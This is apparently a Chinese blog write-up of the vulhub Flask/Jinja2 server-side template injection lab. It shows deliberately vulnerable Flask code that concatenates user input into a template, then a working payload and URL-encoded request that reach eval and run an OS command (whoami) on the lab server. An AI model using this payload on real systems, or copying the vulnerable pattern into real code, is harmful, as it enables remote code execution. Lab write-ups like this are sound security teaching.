Flask(Jinja2) 服务端模板注入漏洞vulhub

Flask(Jinja2) 服务端模板注入漏洞vulhub

前言

Flask简介

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

Jinja2 模版部分语法

  1. 变量
    Jinja2 使用{{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取
    Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。

    Hello, {{ name|capitalize }}
    
  2. if&for语句
    if语句简单示例

    {% if user %}
         Hello,{{user}} !
    {% else %}
         Hello,Stranger!
    {% endif %}
    
  3. for语句循环渲染一组元素

    <ul>
         {% for comment in comments %}
             <li>{{comment}}</li>
         {% endfor %}
    </ul>
    

漏洞原理

模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,服务器模板中拼接了恶意用户输入导致各种漏洞。

漏洞环境

编译及运行测试环境:

cd flask/ssti/
docker-compose build
docker-compose up -d

image-20210115193311247

漏洞复现

flask/ssti后端源码

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

观察代码 name变量完全可控

输出无过滤就注定会存在xss,当然还有更多深层次的漏洞。

image-20210115203804642

image-20210115194058129

访问http://172.168.30.66:8000/?name={{233*233}},得到54289,说明SSTI漏洞存在。

image-20210115194206107

eval()函数又称为评估函数,作用是去掉参数中最外层引号并执行剩余语句。
划重点:只去掉最外层引号
eval()的参数形式为字符串或字符串变量,在程序中可以将字符串形式的输入值转化为数字进行计算。
更广泛的应用是将任意字符串形式的输入值转化为Python可处理的语句。

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("whoami").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

访问http://172.168.30.66:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22whoami%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D,得到执行结果:

image-20210115211023001

posted @ 2021-01-15 21:47  誉津  阅读(625)  评论(0编辑  收藏  举报